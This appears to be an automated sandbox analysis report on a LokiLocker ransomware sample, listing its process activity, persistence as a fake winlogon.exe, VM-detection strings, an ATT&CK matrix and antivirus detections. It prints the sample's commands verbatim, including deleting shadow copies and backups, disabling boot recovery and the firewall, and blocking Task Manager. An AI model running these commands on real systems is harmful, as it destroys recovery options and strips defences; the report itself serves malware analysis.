Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe TID: 6700	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\winlogon.exe TID: 12100	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\winlogon.exe TID: 11900	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\ProgramData\g43m2pr1.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\winlogon.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\winlogon.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\winlogon.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\winlogon.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\winlogon.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior

Source: winlogon.exe2.0.dr	Binary or memory string: zhudongfangyu+vmware-usbarbitator64
Source: winlogon.exe, 00000030.00000002.493373542.0000000002CF0000.00000004.00000001.sdmp	Binary or memory string: vmware-converter
Source: Unlockpls.dr01@protonmail.com-1.exe, 00000000.00000003.429773186.000000000CF1D000.00000004.00000001.sdmp, Unlockpls.dr01@protonmail.com-1.exe, 00000000.00000003.479745593.000000000CF1D000.00000004.00000001.sdmp, Unlockpls.dr01@protonmail.com-1.exe, 00000000.00000003.409911647.000000000CF1D000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.556061750.0000000000ED0000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.556272955.0000000005FA6000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.556346583.0000000000EE7000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.564010622.0000000000EEB000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: winlogon.exe2.0.dr	Binary or memory string: !vmware-converter
Source: Unlockpls.dr01@protonmail.com-1.exe, 00000000.00000003.409795648.000000000CED2000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWLoopback Pseudo-Interface 1Software Loopback Interface 1{E6E9DFC2-98F2-11E9-90CE-806E6F6E6963}0
Source: winlogon.exe, 00000030.00000002.493373542.0000000002CF0000.00000004.00000001.sdmp	Binary or memory string: vmware-usbarbitator64

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.cmdline	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wbadmin DELETE SYSTEMSTATEBACKUP	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh firewall set opmode mode=disable	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESEA4A.tmp" "c:\ProgramData\CSC349A74A79F2A4776AA44A5AABA325CC.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin delete shadows /all /quiet	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set currentprofile state off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall set opmode mode=disable
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Queries volume information: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Queries volume information: C:\Users\user\AppData\Roaming\winlogon.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\ProgramData\winlogon.exe VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\ProgramData\winlogon.exe VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\winlogon.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\logs.txt VolumeInformation

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set currentprofile state off

Disables the windows firewall (over ALG)

Show sources

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh firewall set opmode mode=disable

Modifies the windows firewall

Show sources

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation11	Startup Items1	Startup Items1	Disable or Modify Tools31	Input Capture1	File and Directory Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Inhibit System Recovery1
Default Accounts	Scripting11	Scheduled Task/Job1	Process Injection11	Scripting11	LSASS Memory	System Information Discovery14	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scheduled Task/Job1	Registry Run Keys / Startup Folder121	Scheduled Task/Job1	Obfuscated Files or Information2	Security Account Manager	Security Software Discovery111	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Registry Run Keys / Startup Folder121	Software Packing12	NTDS	Process Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Virtualization/Sandbox Evasion31	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	File Deletion1	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading21	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Modify Registry2	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion31	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection11	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
Unlockpls.dr01@protonmail.com-1.exe	67%	ReversingLabs	ByteCode-MSIL.Ransomware.LokiLocker
Unlockpls.dr01@protonmail.com-1.exe	100%	Avira	HEUR/AGEN.1139796
Unlockpls.dr01@protonmail.com-1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	100%	Avira	HEUR/AGEN.1139796
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	100%	Avira	HEUR/AGEN.1139796
